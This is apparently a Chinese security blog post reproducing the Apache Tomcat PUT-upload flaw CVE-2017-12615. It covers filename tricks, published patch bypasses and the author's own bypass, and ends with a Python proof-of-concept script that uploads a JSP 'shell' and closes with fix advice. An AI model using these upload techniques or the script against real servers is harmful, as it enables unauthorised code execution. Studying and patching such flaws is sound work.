1. 程式人生 > >Tomcat代碼執行漏洞(CVE-2017-12615)的演繹及個人bypass

Tomcat代碼執行漏洞(CVE-2017-12615)的演繹及個人bypass

ros star quest odi -s 官方 argv 特性 ~~

0x00 漏洞簡介

2017年9月19日,Apache Tomcat官方確認並修復了兩個高危漏洞。

漏洞CVE編號:CVE-2017-12615和CVE-2017-12616。

其中 遠程代碼執行漏洞(CVE-2017-12615)

影響: Apache Tomcat 7.0.0 - 7.0.79

漏洞觸發條件:

1,tomcat得架設在windows主機上

2,將readonly由默認值true設置為false。(開啟http PUT 方法)

攻擊者將有可能可通過精心構造的攻擊請求向服務器上傳包含任意代碼的 JSP 文件。之後,JSP 文件中的代碼將能被服務器執行。

該漏洞由360觀星實驗室發現並提交。

官方在確認漏洞並在tomcat 7.0.81中修復。

0x01 漏洞演繹:漏洞復現

需要的環境:

1,tomcat 版本低於7.0.81

2,burpsuite

官網上在7.0.81出來之後就找不到低於該版本的了,在csdn下了一個7.0.65的免安裝版。

jdk的配置與及環境變量的配置就不多說了。配置好conf/web.xml的readonly 為 false。如下圖

技術分享

startup啟動tomcat,環境就算搭好了。

漏洞利用姿勢有兩種:

1,利用windows對文件名的要求特性。倘若文件名最後的一個字符是空格或者點號,會被自動去掉。

利用空格


技術分享

利用點號

技術分享

2,利用windows的ntfs文件流特性。關於文件流請看這裏(https://msdn.microsoft.com/en-us/library/dn393272.aspx)

技術分享

至於原理可以參考先知的分析(http://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)

0x02 漏洞演繹:bypass 補丁

在各方大佬對官方的的補丁進行分析,fuzz之後,發現了在文件名後加多一個‘/‘ 或者‘/.‘,可以直接bypass 補丁,攻擊範圍也從僅限於的windows擴展到windows和linux,漏洞影響版本也從僅影響7.x版本,直接日穿5.x到9.x所有版本。

漏洞影響:

版本:5.x-9.x

平臺:windows,linux

bypass 補丁環境準備:

1,tomcat 7.0.81

2,burpsuite

修改好readonly,開始測試。

利用‘/‘

技術分享

利用‘/.‘

技術分享

0x03 漏洞演繹:我的bypass

在對多個版本進行復現,測試的時候,我也發現了一個‘bypass‘,有些雞肋,充其量應該算是補丁的缺陷吧。

1,版本僅限於7.0.81;

2,平臺僅限於windows;

bypass 思路:先put請求一個服務器上面存在的jsp文件,如index.jsp%20,再put 我們自己的shell.jsp%20,神奇的發現創建了shell.jsp。測試了很久,發現只有%20可以過。

比如tomcat服務器上肯定存在index.jsp。

先put index.jsp%20 ,提示409

技術分享

再put shell.jsp%20,可以發現成功創建了shell.jsp

技術分享

在用burpsuite測試的時候,時不時會過不了。

寫了個腳本,思路就清晰了不少。

 1 #-*- coding:utf-8 -*-
 2 
 3 import requests
 4 import sys
 5 import random
 6 
 7 
 8 body = <%out.println("hello ! This is my bypass shell");%>
 9 
10 urltemp = http://+sys.argv[1]+/index.jsp%20 # put the exists jsp,like the index.jsp
11 shellname = shell+str(random.randint(1000,10000))
12 
13 urlpoc = http://+sys.argv[1]+/+shellname+.jsp%20
14 
15 urlnormal =  http://+sys.argv[1]+/+shellname+.jsp
16 
17 
18 requests.put(urltemp,body)
19 
20 response = requests.put(urlpoc,body)
21 
22 code =  response.status_code
23 
24 if code== 201:
25     print shell create;
26 
27 response = requests.get(urlnormal)
28 code = response.status_code
29 if code == 200:
30     print Your shell: +urlnormal

腳本是穩定的:

技術分享

至於為什麽會出現這種問題,得好好跟一下才知道了~~

0x04 修復方案

認真檢查tomcat 配置是否設置了readonly為false或者是否啟用了PUT方法,設置readonly為true,禁用PUT方法!!

留意官方的最新補丁,及時升級!!

參考文章:

1,Tomcat 遠程代碼執行漏洞分析(CVE-2017-12615)及補丁 Bypass(http://www.freebuf.com/vuls/148283.html)

2,Tomcat信息泄漏和遠程代碼執行漏洞分析報告(CVE-2017-12615/CVE-2017-12616)(https://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)

Tomcat代碼執行漏洞(CVE-2017-12615)的演繹及個人bypass